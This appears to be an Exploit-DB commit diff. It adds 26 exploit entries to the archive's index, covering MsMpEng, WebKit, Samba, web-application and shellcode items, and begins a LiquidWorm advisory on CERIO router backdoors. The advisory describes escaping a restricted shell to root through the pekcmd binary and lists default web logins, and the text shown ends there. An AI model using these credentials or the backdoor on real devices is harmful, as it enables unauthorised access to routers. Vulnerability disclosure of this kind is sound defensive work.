DB: 2017-06-05
26 new exploits Microsoft MsMpEng - Remotely Exploitable Use-After-Free due to Design Issue in GC Engine Microsoft MsMpEng - Multiple Crashes While Scanning Malformed Files Microsoft MsMpEng - Use-After-Free via Saved Callers WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope WebKit - 'Element::setAttributeNodeNS' Use-After-Free reiserfstune 3.6.25 - Local Buffer Overflow TiEmu 2.08 - Local Buffer Overflow Octopus Deploy - Authenticated Code Execution (Metasploit) Samba - 'is_known_pipename()' Arbitrary Module Load (Metasploit) CERIO DT-100G-N/DT-300N/CW-300N - Multiple Vulnerabilities Linux/x86 - execve(/bin/sh_) Shellcode (19 bytes) Linux/x86 - execve(_/bin/sh_) Shellcode (21 bytes) uc-http Daemon - Local File Inclusion / Directory Traversal Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow WordPress Plugin Huge-IT Video Gallery 2.0.4 - SQL Injection TerraMaster F2-420 NAS TOS 3.0.30 - Unauthenticated Remote Code Execution as Root Piwigo Plugin Facetag 0.0.3 - SQL Injection OV3 Online Administration 3.0 - Directory Traversal OV3 Online Administration 3.0 - Remote Code Execution OV3 Online Administration 3.0 - SQL Injection Piwigo Plugin Facetag 0.0.3 - Cross-Site Scripting Riverbed SteelHead VCX 9.6.0a - Arbitrary File Read WebKit - CachedFrame does not Detach Openers Universal Cross-Site Scripting WebKit - 'CachedFrameBase::restore' Universal Cross-Site Scripting WebKit - 'Document::prepareForDestruction' and 'CachedFrame' Universal Cross-Site Scripting
This commit is contained in:
parent
b1d5f96f79
commit
42e94b4366
28 changed files with 4528 additions and 5 deletions
28
files.csv
28
files.csv
|
@ -5464,6 +5464,7 @@ id,file,description,date,author,platform,type,port
|
||||||
41813,platforms/multiple/dos/41813.html,"Apple WebKit - 'table' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
41813,platforms/multiple/dos/41813.html,"Apple WebKit - 'table' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
||||||
41814,platforms/multiple/dos/41814.html,"Apple WebKit - 'WebCore::toJS' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
41814,platforms/multiple/dos/41814.html,"Apple WebKit - 'WebCore::toJS' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
||||||
41823,platforms/windows/dos/41823.py,"CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)",2017-03-16,redr2e,windows,dos,0
|
41823,platforms/windows/dos/41823.py,"CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)",2017-03-16,redr2e,windows,dos,0
|
||||||
|
42088,platforms/windows/dos/42088.txt,"Microsoft MsMpEng - Remotely Exploitable Use-After-Free due to Design Issue in GC Engine",2017-05-30,"Google Security Research",windows,dos,0
|
||||||
41851,platforms/windows/dos/41851.txt,"Moxa MXview 2.8 - Denial of Service",2017-04-10,hyp3rlinx,windows,dos,0
|
41851,platforms/windows/dos/41851.txt,"Moxa MXview 2.8 - Denial of Service",2017-04-10,hyp3rlinx,windows,dos,0
|
||||||
41867,platforms/multiple/dos/41867.html,"Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
|
41867,platforms/multiple/dos/41867.html,"Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
|
||||||
41868,platforms/multiple/dos/41868.html,"Apple WebKit - 'Document::adoptNode' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
|
41868,platforms/multiple/dos/41868.html,"Apple WebKit - 'Document::adoptNode' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
|
||||||
|
@ -5503,6 +5504,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42019,platforms/multiple/dos/42019.txt,"Adobe Flash - Out-of-Bounds Read in Getting TextField Width",2017-05-17,"Google Security Research",multiple,dos,0
|
42019,platforms/multiple/dos/42019.txt,"Adobe Flash - Out-of-Bounds Read in Getting TextField Width",2017-05-17,"Google Security Research",multiple,dos,0
|
||||||
42021,platforms/windows/dos/42021.txt,"Microsoft Windows - Running Object Table Register ROTFLAGS_ALLOWANYCLIENT Privilege Escalation",2017-05-17,"Google Security Research",windows,dos,0
|
42021,platforms/windows/dos/42021.txt,"Microsoft Windows - Running Object Table Register ROTFLAGS_ALLOWANYCLIENT Privilege Escalation",2017-05-17,"Google Security Research",windows,dos,0
|
||||||
42027,platforms/multiple/dos/42027.html,"Mozilla Firefox 50 < 55 - Stack Overflow Denial of Service",2017-05-17,"Geeknik Labs",multiple,dos,0
|
42027,platforms/multiple/dos/42027.html,"Mozilla Firefox 50 < 55 - Stack Overflow Denial of Service",2017-05-17,"Geeknik Labs",multiple,dos,0
|
||||||
|
42081,platforms/windows/dos/42081.txt,"Microsoft MsMpEng - Multiple Crashes While Scanning Malformed Files",2017-05-29,"Google Security Research",windows,dos,0
|
||||||
42040,platforms/windows/dos/42040.py,"Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC)",2017-05-19,"Chance Johnson",windows,dos,0
|
42040,platforms/windows/dos/42040.py,"Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC)",2017-05-19,"Chance Johnson",windows,dos,0
|
||||||
42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0
|
42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0
|
||||||
42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0
|
42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0
|
||||||
|
@ -5519,6 +5521,11 @@ id,file,description,date,author,platform,type,port
|
||||||
42071,platforms/multiple/dos/42071.html,"Mozilla Firefox < 53 - 'gfxTextRun' Out-of-Bounds Read",2017-05-25,"Google Security Research",multiple,dos,0
|
42071,platforms/multiple/dos/42071.html,"Mozilla Firefox < 53 - 'gfxTextRun' Out-of-Bounds Read",2017-05-25,"Google Security Research",multiple,dos,0
|
||||||
42072,platforms/multiple/dos/42072.html,"Mozilla Firefox < 53 - 'ConvolvePixel' Memory Disclosure",2017-05-25,"Google Security Research",multiple,dos,0
|
42072,platforms/multiple/dos/42072.html,"Mozilla Firefox < 53 - 'ConvolvePixel' Memory Disclosure",2017-05-25,"Google Security Research",multiple,dos,0
|
||||||
42073,platforms/windows/dos/42073.py,"Sandboxie 5.18 - Local Denial of Service",2017-05-25,ScrR1pTK1dd13,windows,dos,0
|
42073,platforms/windows/dos/42073.py,"Sandboxie 5.18 - Local Denial of Service",2017-05-25,ScrR1pTK1dd13,windows,dos,0
|
||||||
|
42092,platforms/windows/dos/42092.txt,"Microsoft MsMpEng - Use-After-Free via Saved Callers",2017-05-30,"Google Security Research",windows,dos,0
|
||||||
|
42103,platforms/linux/dos/42103.js,"WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure",2017-06-01,"Google Security Research",linux,dos,0
|
||||||
|
42104,platforms/multiple/dos/42104.js,"WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope",2017-06-01,"Google Security Research",multiple,dos,0
|
||||||
|
42108,platforms/multiple/dos/42108.html,"WebKit - 'Element::setAttributeNodeNS' Use-After-Free",2017-06-01,"Google Security Research",multiple,dos,0
|
||||||
|
42110,platforms/linux/dos/42110.txt,"reiserfstune 3.6.25 - Local Buffer Overflow",2017-06-02,"Nassim Asrir",linux,dos,0
|
||||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||||
|
@ -8986,6 +8993,7 @@ id,file,description,date,author,platform,type,port
|
||||||
41771,platforms/windows/local/41771.py,"Disk Sorter Enterprise 9.5.12 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
41771,platforms/windows/local/41771.py,"Disk Sorter Enterprise 9.5.12 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
||||||
41772,platforms/windows/local/41772.py,"DiskBoss Enterprise 7.8.16 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
41772,platforms/windows/local/41772.py,"DiskBoss Enterprise 7.8.16 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
||||||
41773,platforms/windows/local/41773.py,"Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
41773,platforms/windows/local/41773.py,"Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
||||||
|
42087,platforms/windows/local/42087.py,"TiEmu 2.08 - Local Buffer Overflow",2017-05-30,"Juan Sacco",windows,local,0
|
||||||
41853,platforms/macos/local/41853.txt,"Proxifier for Mac 2.18 - Multiple Vulnerabilities",2017-04-11,Securify,macos,local,0
|
41853,platforms/macos/local/41853.txt,"Proxifier for Mac 2.18 - Multiple Vulnerabilities",2017-04-11,Securify,macos,local,0
|
||||||
41854,platforms/macos/local/41854.txt,"Proxifier for Mac 2.17 / 2.18 - Privesc Escalation",2017-04-11,"Mark Wadham",macos,local,0
|
41854,platforms/macos/local/41854.txt,"Proxifier for Mac 2.17 / 2.18 - Privesc Escalation",2017-04-11,"Mark Wadham",macos,local,0
|
||||||
41870,platforms/multiple/local/41870.txt,"Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout",2017-04-11,"Google Security Research",multiple,local,0
|
41870,platforms/multiple/local/41870.txt,"Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout",2017-04-11,"Google Security Research",multiple,local,0
|
||||||
|
@ -15545,10 +15553,13 @@ id,file,description,date,author,platform,type,port
|
||||||
42025,platforms/php/remote/42025.rb,"BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit)",2017-05-17,Metasploit,php,remote,80
|
42025,platforms/php/remote/42025.rb,"BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit)",2017-05-17,Metasploit,php,remote,80
|
||||||
42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0
|
42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0
|
||||||
42031,platforms/win_x86-64/remote/42031.py,"Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445
|
42031,platforms/win_x86-64/remote/42031.py,"Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445
|
||||||
|
42083,platforms/windows/remote/42083.rb,"Octopus Deploy - Authenticated Code Execution (Metasploit)",2017-05-29,Metasploit,windows,remote,0
|
||||||
|
42084,platforms/linux/remote/42084.rb,"Samba - 'is_known_pipename()' Arbitrary Module Load (Metasploit)",2017-05-29,Metasploit,linux,remote,0
|
||||||
42041,platforms/windows/remote/42041.txt,"Secure Auditor 3.0 - Directory Traversal",2017-05-20,hyp3rlinx,windows,remote,0
|
42041,platforms/windows/remote/42041.txt,"Secure Auditor 3.0 - Directory Traversal",2017-05-20,hyp3rlinx,windows,remote,0
|
||||||
42057,platforms/windows/remote/42057.rb,"VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)",2017-05-23,Metasploit,windows,remote,0
|
42057,platforms/windows/remote/42057.rb,"VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)",2017-05-23,Metasploit,windows,remote,0
|
||||||
42060,platforms/linux/remote/42060.py,"Samba 3.5.0 - Remote Code Execution",2017-05-24,steelo,linux,remote,0
|
42060,platforms/linux/remote/42060.py,"Samba 3.5.0 - Remote Code Execution",2017-05-24,steelo,linux,remote,0
|
||||||
42078,platforms/linux/remote/42078.js,"Google Chrome 60.0.3080.5 V8 JavaScript Engine - Out-of-Bounds Write",2017-05-26,halbecaf,linux,remote,0
|
42078,platforms/linux/remote/42078.js,"Google Chrome 60.0.3080.5 V8 JavaScript Engine - Out-of-Bounds Write",2017-05-26,halbecaf,linux,remote,0
|
||||||
|
42079,platforms/hardware/remote/42079.txt,"CERIO DT-100G-N/DT-300N/CW-300N - Multiple Vulnerabilities",2017-05-28,LiquidWorm,hardware,remote,0
|
||||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||||
|
@ -16180,7 +16191,7 @@ id,file,description,date,author,platform,type,port
|
||||||
41635,platforms/lin_x86/shellcode/41635.txt,"Linux/x86 - File Reader Shellcode (54 Bytes)",2017-03-19,WangYihang,lin_x86,shellcode,0
|
41635,platforms/lin_x86/shellcode/41635.txt,"Linux/x86 - File Reader Shellcode (54 Bytes)",2017-03-19,WangYihang,lin_x86,shellcode,0
|
||||||
41723,platforms/lin_x86/shellcode/41723.c,"Linux/x86 - Reverse /bin/bash Shellcode (110 bytes)",2017-03-24,JR0ch17,lin_x86,shellcode,0
|
41723,platforms/lin_x86/shellcode/41723.c,"Linux/x86 - Reverse /bin/bash Shellcode (110 bytes)",2017-03-24,JR0ch17,lin_x86,shellcode,0
|
||||||
41750,platforms/lin_x86-64/shellcode/41750.txt,"Linux/x86-64 - execve(_/bin/sh_) Shellcode (21 Bytes)",2017-03-28,WangYihang,lin_x86-64,shellcode,0
|
41750,platforms/lin_x86-64/shellcode/41750.txt,"Linux/x86-64 - execve(_/bin/sh_) Shellcode (21 Bytes)",2017-03-28,WangYihang,lin_x86-64,shellcode,0
|
||||||
41757,platforms/lin_x86/shellcode/41757.txt,"Linux/x86 - execve(/bin/sh_) Shellcode (19 bytes)",2017-03-29,WangYihang,lin_x86,shellcode,0
|
41757,platforms/lin_x86/shellcode/41757.txt,"Linux/x86 - execve(_/bin/sh_) Shellcode (21 bytes)",2017-03-29,WangYihang,lin_x86,shellcode,0
|
||||||
41827,platforms/win_x86-64/shellcode/41827.txt,"Windows 10 x64 - Egghunter Shellcode (45 bytes)",2017-04-06,"Peter Baris",win_x86-64,shellcode,0
|
41827,platforms/win_x86-64/shellcode/41827.txt,"Windows 10 x64 - Egghunter Shellcode (45 bytes)",2017-04-06,"Peter Baris",win_x86-64,shellcode,0
|
||||||
41883,platforms/lin_x86-64/shellcode/41883.txt,"Linux/x86-64 - execve(_/bin/sh_) Shellcode (31 bytes)",2017-04-13,WangYihang,lin_x86-64,shellcode,0
|
41883,platforms/lin_x86-64/shellcode/41883.txt,"Linux/x86-64 - execve(_/bin/sh_) Shellcode (31 bytes)",2017-04-13,WangYihang,lin_x86-64,shellcode,0
|
||||||
41909,platforms/lin_x86/shellcode/41909.c,"Linux/x86 - Egg-hunter Shellcode (18 bytes)",2017-04-22,phackt_ul,lin_x86,shellcode,0
|
41909,platforms/lin_x86/shellcode/41909.c,"Linux/x86 - Egg-hunter Shellcode (18 bytes)",2017-04-22,phackt_ul,lin_x86,shellcode,0
|
||||||
|
@ -37835,9 +37846,13 @@ id,file,description,date,author,platform,type,port
|
||||||
41840,platforms/hardware/webapps/41840.txt,"D-Link DWR-116 / DWR-116A1 - Arbitrary File Download",2017-04-07,"Patryk Bogdan",hardware,webapps,0
|
41840,platforms/hardware/webapps/41840.txt,"D-Link DWR-116 / DWR-116A1 - Arbitrary File Download",2017-04-07,"Patryk Bogdan",hardware,webapps,0
|
||||||
41841,platforms/php/webapps/41841.html,"WordPress Plugin Firewall 2 1.3 - Cross-Site Request Forgery / Cross-Site Scripting",2017-04-07,dxw,php,webapps,80
|
41841,platforms/php/webapps/41841.html,"WordPress Plugin Firewall 2 1.3 - Cross-Site Request Forgery / Cross-Site Scripting",2017-04-07,dxw,php,webapps,80
|
||||||
41842,platforms/cgi/webapps/41842.txt,"QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection",2017-04-07,"Harry Sintonen",cgi,webapps,0
|
41842,platforms/cgi/webapps/41842.txt,"QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection",2017-04-07,"Harry Sintonen",cgi,webapps,0
|
||||||
|
42085,platforms/hardware/webapps/42085.py,"uc-http Daemon - Local File Inclusion / Directory Traversal",2017-05-30,"Project Insecurity",hardware,webapps,0
|
||||||
41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0
|
41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0
|
||||||
41845,platforms/php/webapps/41845.txt,"WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
41845,platforms/php/webapps/41845.txt,"WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
||||||
41846,platforms/php/webapps/41846.html,"WordPress Plugin CopySafe Web Protect < 2.6 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
41846,platforms/php/webapps/41846.html,"WordPress Plugin CopySafe Web Protect < 2.6 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
||||||
|
42089,platforms/xml/webapps/42089.txt,"Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution",2017-05-30,SecuriTeam,xml,webapps,0
|
||||||
|
42090,platforms/multiple/webapps/42090.txt,"KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution",2017-05-30,SecuriTeam,multiple,webapps,0
|
||||||
|
42091,platforms/windows/webapps/42091.txt,"IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow",2017-05-30,SecuriTeam,windows,webapps,0
|
||||||
41849,platforms/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,php,webapps,0
|
41849,platforms/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,php,webapps,0
|
||||||
41855,platforms/xml/webapps/41855.sh,"Adobe Multiple Products - XML Injection File Content Disclosure",2017-04-07,"Thomas Sluyter",xml,webapps,8400
|
41855,platforms/xml/webapps/41855.sh,"Adobe Multiple Products - XML Injection File Content Disclosure",2017-04-07,"Thomas Sluyter",xml,webapps,8400
|
||||||
41856,platforms/php/webapps/41856.txt,"MyClassifiedScript 5.1 - SQL Injection",2017-04-11,"Ihsan Sencan",php,webapps,0
|
41856,platforms/php/webapps/41856.txt,"MyClassifiedScript 5.1 - SQL Injection",2017-04-11,"Ihsan Sencan",php,webapps,0
|
||||||
|
@ -37898,6 +37913,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
|
42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
|
||||||
42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
|
42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
|
||||||
42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
|
42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
|
||||||
|
42082,platforms/php/webapps/42082.txt,"WordPress Plugin Huge-IT Video Gallery 2.0.4 - SQL Injection",2017-05-29,defensecode,php,webapps,80
|
||||||
42033,platforms/php/webapps/42033.txt,"Joomla! 3.7.0 - 'com_fields' SQL Injection (PoC)",2017-05-19,"Mateus Lino",php,webapps,80
|
42033,platforms/php/webapps/42033.txt,"Joomla! 3.7.0 - 'com_fields' SQL Injection (PoC)",2017-05-19,"Mateus Lino",php,webapps,80
|
||||||
42034,platforms/java/webapps/42034.txt,"Oracle PeopleSoft - Server-Side Request Forgery",2017-05-19,ERPScan,java,webapps,0
|
42034,platforms/java/webapps/42034.txt,"Oracle PeopleSoft - Server-Side Request Forgery",2017-05-19,ERPScan,java,webapps,0
|
||||||
42035,platforms/php/webapps/42035.txt,"Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption",2017-05-19,"David Tomaschik",php,webapps,0
|
42035,platforms/php/webapps/42035.txt,"Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption",2017-05-19,"David Tomaschik",php,webapps,0
|
||||||
|
@ -37916,3 +37932,13 @@ id,file,description,date,author,platform,type,port
|
||||||
42069,platforms/multiple/webapps/42069.html,"Apple Safari 10.0.3(12602.4.8) / WebKit - 'HTMLObjectElement::updateWidget' Universal Cross-Site Scripting",2017-05-25,"Google Security Research",multiple,webapps,0
|
42069,platforms/multiple/webapps/42069.html,"Apple Safari 10.0.3(12602.4.8) / WebKit - 'HTMLObjectElement::updateWidget' Universal Cross-Site Scripting",2017-05-25,"Google Security Research",multiple,webapps,0
|
||||||
42074,platforms/hardware/webapps/42074.txt,"D-Link DCS Series Cameras - Insecure Crossdomain",2017-02-22,SlidingWindow,hardware,webapps,0
|
42074,platforms/hardware/webapps/42074.txt,"D-Link DCS Series Cameras - Insecure Crossdomain",2017-02-22,SlidingWindow,hardware,webapps,0
|
||||||
42075,platforms/hardware/webapps/42075.txt,"QWR-1104 Wireless-N Router - Cross-Site Scripting",2017-05-26,"Touhid M.Shaikh",hardware,webapps,0
|
42075,platforms/hardware/webapps/42075.txt,"QWR-1104 Wireless-N Router - Cross-Site Scripting",2017-05-26,"Touhid M.Shaikh",hardware,webapps,0
|
||||||
|
42093,platforms/php/webapps/42093.py,"TerraMaster F2-420 NAS TOS 3.0.30 - Unauthenticated Remote Code Execution as Root",2017-05-30,"Simone Margaritelli",php,webapps,8181
|
||||||
|
42094,platforms/php/webapps/42094.txt,"Piwigo Plugin Facetag 0.0.3 - SQL Injection",2017-05-30,"Touhid M.Shaikh",php,webapps,0
|
||||||
|
42095,platforms/php/webapps/42095.txt,"OV3 Online Administration 3.0 - Directory Traversal",2017-05-31,LiquidWorm,php,webapps,0
|
||||||
|
42096,platforms/php/webapps/42096.txt,"OV3 Online Administration 3.0 - Remote Code Execution",2017-05-31,LiquidWorm,php,webapps,0
|
||||||
|
42097,platforms/php/webapps/42097.txt,"OV3 Online Administration 3.0 - SQL Injection",2017-05-31,LiquidWorm,php,webapps,0
|
||||||
|
42098,platforms/php/webapps/42098.txt,"Piwigo Plugin Facetag 0.0.3 - Cross-Site Scripting",2017-05-31,"Touhid M.Shaikh",php,webapps,0
|
||||||
|
42101,platforms/linux/webapps/42101.py,"Riverbed SteelHead VCX 9.6.0a - Arbitrary File Read",2017-06-01,"Gregory Draperi",linux,webapps,0
|
||||||
|
42105,platforms/multiple/webapps/42105.html,"WebKit - CachedFrame does not Detach Openers Universal Cross-Site Scripting",2017-06-01,"Google Security Research",multiple,webapps,0
|
||||||
|
42106,platforms/multiple/webapps/42106.html,"WebKit - 'CachedFrameBase::restore' Universal Cross-Site Scripting",2017-06-01,"Google Security Research",multiple,webapps,0
|
||||||
|
42107,platforms/multiple/webapps/42107.html,"WebKit - 'Document::prepareForDestruction' and 'CachedFrame' Universal Cross-Site Scripting",2017-06-01,"Google Security Research",multiple,webapps,0
|
||||||
|
|
Can't render this file because it is too large.
|
530
platforms/hardware/remote/42079.txt
Executable file
530
platforms/hardware/remote/42079.txt
Executable file
|
@ -0,0 +1,530 @@
|
||||||
|
CERIO 11nbg 2.4Ghz High Power Wireless Router (pekcmd) Rootshell Backdoors
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: CERIO Corporation
|
||||||
|
Product web page: http://www.cerio.com.tw
|
||||||
|
Affected version: DT-100G-N (fw: Cen-WR-G2H5 v1.0.6)
|
||||||
|
DT-300N (fw: Cen-CPE-N2H10A v1.0.14)
|
||||||
|
DT-300N (fw: Cen-CPE-N2H10A v1.1.6)
|
||||||
|
CW-300N (fw: Cen-CPE-N2H10A v1.0.22)
|
||||||
|
Kozumi? (fw: Cen-CPE-N5H5R v1.1.1)
|
||||||
|
|
||||||
|
|
||||||
|
Summary: CERIO's DT-300N A4 eXtreme Power 11n 2.4Ghz 2x2
|
||||||
|
High Power Wireless Access Point with built-in 10dBi
|
||||||
|
patch antennas and also supports broadband wireless
|
||||||
|
routing. DT-300N A4's wireless High Power design
|
||||||
|
enhances the range and stability of the device's
|
||||||
|
wireless signal in office and home environments.
|
||||||
|
Another key hardware function of DT-300N A4 is its PoE
|
||||||
|
Bridging feature, which allows subsequent devices to
|
||||||
|
be powered through DT-300N A4's LAN port. This
|
||||||
|
reduces device cabling and allows for more convenient
|
||||||
|
deployment. DT-300N A4 utilizes a 533Mhz high power CPU base
|
||||||
|
with 11n 2x2 transmission rates of 300Mbps. This
|
||||||
|
powerful device can produce high level performance
|
||||||
|
across multiple rooms or large spaces such as offices,
|
||||||
|
schools, businesses and residential areas. DT-300N A4
|
||||||
|
is suitable for both indoor and outdoor deployment,
|
||||||
|
and utilizes an IPX6 weatherproof housing.
|
||||||
|
The DT-300N A4 hardware equipped with to bundles
|
||||||
|
Cerio CenOS 5.0 Software Core. CenOS 5.0 devices can
|
||||||
|
use integrated management functions of Control
|
||||||
|
Access Point (CAP Mode) to manage an AP network.
|
||||||
|
|
||||||
|
Desc: Cerio Wireless Access Point and Router suffers from
|
||||||
|
several vulnerabilities including: hard-coded and default
|
||||||
|
credentials, information disclosure, command injection and
|
||||||
|
hidden backdoors that allows escaping the restricted shell
|
||||||
|
into a root shell via the 'pekcmd' binary. Given that all
|
||||||
|
the processes run as root, an attacker can easily drop into
|
||||||
|
the root shell with supplying hard-coded strings stored in
|
||||||
|
.rodata segment assigned as static constant variables. The
|
||||||
|
pekcmd shell has several hidden functionalities for enabling
|
||||||
|
an advanced menu and modifying MAC settings as well as easily
|
||||||
|
escapable regex function for shell characters.
|
||||||
|
|
||||||
|
Tested on: Cenwell Linux 802.11bgn MIMO Wireless AP(AR9341)
|
||||||
|
RALINK(R) Cen-CPE-N5H2 (Access Point)
|
||||||
|
CenOS 5.0/4.0/3.0
|
||||||
|
Hydra/0.1.8
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5409
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5409.php
|
||||||
|
|
||||||
|
|
||||||
|
16.05.2017
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
Large number of devices uses the cenwell firmware (mips arch)
|
||||||
|
which comes with few surprises.
|
||||||
|
|
||||||
|
Default credentials (web interface):
|
||||||
|
------------------------------------
|
||||||
|
operator:1234
|
||||||
|
admin:admin
|
||||||
|
